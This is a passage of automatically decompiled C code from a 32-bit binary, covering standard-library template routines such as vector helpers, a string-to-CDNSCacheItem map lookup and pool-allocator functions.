return (*(int32_t *)v1 - *(int32_t *)v2) / 4;
}
// Address range: 0x8055ee8 - 0x8055f33
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size(int32_t * a1) {
// 0x8055ee8
int32_t * v1;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin_109(v1, (int32_t **)a1);
int32_t * v2;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end_110(v2, (int32_t)a1);
return __gnu_cxx__operator__lt_unsigned_int_const__ptr__comma__unsigned_int_const__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v2, v1);
}
// Address range: 0x8055f34 - 0x8055f3b
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result) {
// 0x8055f34
return result;
}
// Address range: 0x8055f3e - 0x8055f5b
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(int32_t result, int32_t * a2) {
// 0x8055f3e
int32_t v1;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(v1);
return result;
}
// Address range: 0x8055f5e - 0x8055f79
int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__111(int32_t a1) {
// 0x8055f5e
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x8055f7a - 0x8055f95
int32_t std__allocator_lt_unsigned_int_gt__112(int32_t a1, int32_t a2) {
// 0x8055f7a
__gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__111(a1);
return 0x8132c20;
}
// Address range: 0x8055f96 - 0x8055fb3
int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x8055f96
std__allocator_lt_unsigned_int_gt__112(result, (int32_t)a2);
return result;
}
// Address range: 0x8056058 - 0x805606f
int32_t CDNSCacheItem(struct struct_3 * a1) {
// 0x8056058
return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)a1);
}
// Address range: 0x8056070 - 0x80560cb
int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt_(struct struct_3 * a1) {
// 0x8056070
CDNSCacheItem((struct struct_3 *)((int32_t)a1 + 4));
return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)a1);
}
// Address range: 0x80560cc - 0x805610f
int32_t CDNSCacheItem_117(int32_t * a1) {
struct struct_3 * v1 = NULL; // bp-5
std__allocator_lt_std__string_gt__42((int32_t)v1);
int32_t result = (int32_t)a1; // 0x80560e1
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)a1, v1);
std__allocator_lt_std__string_gt_(&v1->e0);
*(int32_t *)(result + 12) = 0;
return result;
}
// Address range: 0x8056110 - 0x8056171
int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8056110
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x8056170
return 0;
}
// 0x8056124
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 4 * (int32_t)a3; // 0x805612f
int32_t result; // 0x8056171_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x805615b
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x8056129, v2, 0, 0, 0);
// branch -> 0x8056170
} else {
// 0x805614b
result = _ZdlPv(a2);
// branch -> 0x8056170
}
// 0x8056170
return result;
}
// Address range: 0x8056172 - 0x8056195
int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8056172
int32_t result; // 0x805618b
if (a2 != NULL) {
// 0x805617e
g95 = (int32_t)a1;
result = __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3);
// branch -> 0x8056193
}
// 0x8056193
return result;
}
// Address range: 0x805627e - 0x8056283
void __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(void) {
// 0x805627e
return;
}
// Address range: 0x8056284 - 0x805629f
int32_t __gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__120(int32_t a1) {
// 0x8056284
__gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x80562ce - 0x8056301
int32_t __gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a1); // 0x80562db
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2); // 0x80562eb
int32_t v4 = *(int32_t *)v3; // 0x80562f3
return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2;
}
// Address range: 0x8056302 - 0x8056351
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__std__allocator_lt_unsigned_int_gt___gt_(int32_t * a1) {
// 0x8056302
int32_t * v1;
if (__gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, v1) == 0) {
// 0x805634f
return 0;
}
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy();
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(a1, v1) != 0) {
// 0x805630a
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___destroy();
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__(a1);
// continue -> 0x805630a
}
// 0x805634f
return 0;
}
// Address range: 0x8056352 - 0x805635d
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value(int32_t * a1) {
// 0x8056352
return (int32_t)a1 + 16;
}
// Address range: 0x805635e - 0x8056365
int32_t std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(int32_t a1) {
// 0x805635e
int32_t result;
return result;
}
// Address range: 0x8056366 - 0x805638b
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(int32_t * a1) {
// 0x8056366
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value(a1);
int32_t v1;
return std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v1);
}
// Address range: 0x805638c - 0x8056397
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value_122(int32_t a1) {
// 0x805638c
g95 = a1;
return a1 + 16;
}
// Address range: 0x8056398 - 0x80563bd
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(int32_t a1) {
// 0x8056398
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_value_122(a1);
int32_t v1;
return std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v1);
}
// Address range: 0x80563be - 0x80563d9
int32_t _ZStltIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_ES8_(int32_t * a1, int32_t a2) {
return std__string__compare(a1, &a2) < 0;
}
// Address range: 0x80563da - 0x80563f5
int32_t std__less_lt_std__string_gt___operator_lb__rb_(int32_t * a1, int32_t * a2) {
// 0x80563da
int32_t v1;
return (uint32_t)_ZStltIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_ES8_(a2, v1) % 256;
}
// Address range: 0x80563f6 - 0x8056509
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3) {
int32_t v1 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(a2); // 0x8056402
int32_t * v2 = (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x8056413_4
int32_t v3; // 0x80564af
int32_t ** v4;
int32_t ** v5;
int32_t ** v6;
int32_t * v7;
if (v1 != 0) {
// branch -> 0x8056420
lab_0x5312110:
while (true) {
int32_t v8 = v1;
// branch -> 0x8056420
while (true) {
int32_t * v9 = (int32_t *)v8; // 0x0113
int32_t v10 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(v9); // 0x8056426
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v10) == 1) {
int32_t v11 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(v9); // 0x8056469
if (v11 == 0) {
// break -> 0x805647a
break;
}
v8 = v11;
// continue -> 0x8056420
continue;
} else {
int32_t v12 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(v9); // 0x8056455
if (v12 == 0) {
v2 = v9;
// break (via goto) -> 0x805647a
goto lab_0x53125d0;
}
v1 = v12;
v2 = v9;
// continue (via goto) -> 0x8056420
goto lab_0x5312110;
}
// 0x805647a
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v4, v2);
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a2);
v3 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5);
if (v3 != 0) {
// 0x80564e1
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2);
v7 = (int32_t *)v6;
// branch -> 0x8056505
// 0x8056505
*a1 = v7;
return (int32_t)a1;
}
// 0x80564bb
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v4);
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, a3) != 0) {
// 0x80564e1
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2);
v7 = (int32_t *)v6;
// branch -> 0x8056505
// 0x8056505
*a1 = v7;
return (int32_t)a1;
}
v7 = (int32_t *)v4;
// 0x8056505
*a1 = v7;
return (int32_t)a1;
}
// 0x805647a
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v4, v2);
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a2);
v3 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5);
if (v3 != 0) {
// 0x80564e1
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2);
// branch -> 0x8056505
// 0x8056505
*a1 = (int32_t *)v6;
return (int32_t)a1;
}
// 0x80564bb
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v4);
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, a3) != 0) {
// 0x80564e1
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2);
// branch -> 0x8056505
// 0x8056505
*a1 = (int32_t *)v6;
return (int32_t)a1;
}
// 0x8056505
*a1 = (int32_t *)v4;
return (int32_t)a1;
}
}
lab_0x53125d0:
// 0x805647a
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v4, v2);
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a2);
v3 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5);
if (v3 != 0) {
// 0x80564e1
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2);
// branch -> 0x8056505
// 0x8056505
*a1 = (int32_t *)v6;
return (int32_t)a1;
}
// 0x80564bb
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v4);
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, a3) != 0) {
// 0x80564e1
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v6, a2);
v7 = (int32_t *)v6;
// branch -> 0x8056505
} else {
v7 = (int32_t *)v4;
}
// 0x8056505
*a1 = v7;
return (int32_t)a1;
}
// Address range: 0x805650c - 0x8056537
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(int32_t ** a1, int32_t * a2, int32_t * a3) {
int32_t v1 = g98; // 0x805650f
g98 = (int32_t)a1;
int32_t ** v2;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find(v2, a2, a3);
*(int32_t *)g98 = (int32_t)v2;
int32_t result = g98; // 0x8056531
g98 = v1;
return result;
}
// Address range: 0x805653a - 0x80565d3
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(a2); // 0x8056546
int32_t * v2 = (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x8056557_3
if (v1 == 0) {
// 0x80565be
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, v2);
return (int32_t)a1;
}
// branch -> 0x8056564
lab_0x53230e0:
while (true) {
int32_t v3 = v1;
// branch -> 0x8056564
int32_t * v4;
while (true) {
int32_t * v5 = (int32_t *)v3; // 0x0111
int32_t v6 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(v5); // 0x805656a
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v6) == 1) {
int32_t v7 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(v5); // 0x80565ad
if (v7 == 0) {
v4 = v2;
// break -> 0x80565be
break;
}
v3 = v7;
// continue -> 0x8056564
continue;
} else {
int32_t v8 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(v5); // 0x8056599
if (v8 == 0) {
v4 = v5;
// break (via goto) -> 0x80565be
goto lab_0x5322b90;
}
v1 = v8;
v2 = v5;
// continue (via goto) -> 0x8056564
goto lab_0x53230e0;
}
// 0x80565be
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, v4);
return (int32_t)a1;
}
lab_0x5322b90:
// 0x80565be
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, v4);
return (int32_t)a1;
}
}
// Address range: 0x80565d6 - 0x8056601
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(int32_t ** a1, int32_t * a2, int32_t * a3) {
int32_t v1 = g98; // 0x80565d9
g98 = (int32_t)a1;
int32_t * v2;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(v2, a2, a3);
*(int32_t *)g98 = (int32_t)v2;
int32_t result = g98; // 0x80565fb
g98 = v1;
return result;
}
// Address range: 0x8056604 - 0x805660f
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(int32_t * a1) {
// 0x8056604
return (int32_t)a1 + 16;
}
// Address range: 0x8056610 - 0x805661b
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___size(int32_t * a1) {
// 0x8056610
return *(int32_t *)((int32_t)a1 + 20);
}
// Address range: 0x805661c - 0x8056625
int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___max_size(void) {
// 0x805661c
return 0x3fffffff;
}
// Address range: 0x8056626 - 0x8056765
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_10 * a2) {
__gnu_cxx____mt_alloc_base_lt_std__string_gt___max_size();
g95 = a2 > (struct struct_10 *)0x3fffffff != false;
if (a2 > (struct struct_10 *)0x3fffffff != false) {
// 0x805664d
std____throw_bad_alloc();
// branch -> 0x8056652
}
// 0x8056652
int32_t v1;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v2 = 4 * (int32_t)a2; // 0x8056662
int32_t * v3 = (int32_t *)v2; // 0x8056665_0
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) {
// 0x805667e
int32_t * v4;
result = _Znwj(v2, v2, (int32_t)v4);
// branch -> 0x8056761
// 0x8056761
return result;
}
int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x80566a4
int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x80566b5
int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x80566c9_4
int32_t * v8 = *v7; // 0x80566e2
if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) {
// 0x8056744
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6);
// branch -> 0x8056761
} else {
int32_t * v9 = *v7; // 0x80566fb
*v7 = (int32_t *)*v9;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9);
int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x805673c
result = v10;
// branch -> 0x8056761
}
// 0x8056761
return result;
}
// Address range: 0x8056766 - 0x8056781
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(int32_t * a1, struct struct_10 * a2) {
// 0x8056766
return __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2);
}
// Address range: 0x8056782 - 0x80567fb
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__124(struct struct_3 * a1, int32_t a2, int32_t a3) {
// 0x8056782
